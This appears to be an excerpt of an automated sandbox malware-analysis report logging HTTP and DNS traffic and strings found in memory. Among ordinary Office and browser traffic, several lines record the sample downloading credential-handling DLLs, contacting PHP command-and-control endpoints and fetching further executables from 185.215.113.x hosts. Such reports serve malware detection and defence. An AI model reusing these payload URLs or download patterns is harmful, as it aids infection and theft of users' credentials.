Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: skotes.exe, 00000019.00000002.3337495411.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000019.00000002.3337495411.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe-
Source: skotes.exe, 00000019.00000002.3337495411.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395d7f
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590695156.0000000000F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2590695156.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll:
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll4
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll1
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2590695156.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2590695156.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllu
Source: file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2m3
Source: file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpI3
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf4
Source: file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj
Source: file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: skotes.exe, 00000019.00000002.3337495411.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3337495411.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpZ
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_465.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2626699340.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: JEHIJDGI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_467.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_467.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_467.4.dr, chromecache_465.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: JEHIJDGI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590695156.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590695156.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json0.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 683397ae-f96e-45a1-83bf-01d2135a9e3a.tmp.10.dr, 10e26d94-be5b-4bbd-8e84-d61c64f9fc7c.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 683397ae-f96e-45a1-83bf-01d2135a9e3a.tmp.10.dr, 10e26d94-be5b-4bbd-8e84-d61c64f9fc7c.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_467.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_467.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: manifest.json.9.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_467.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
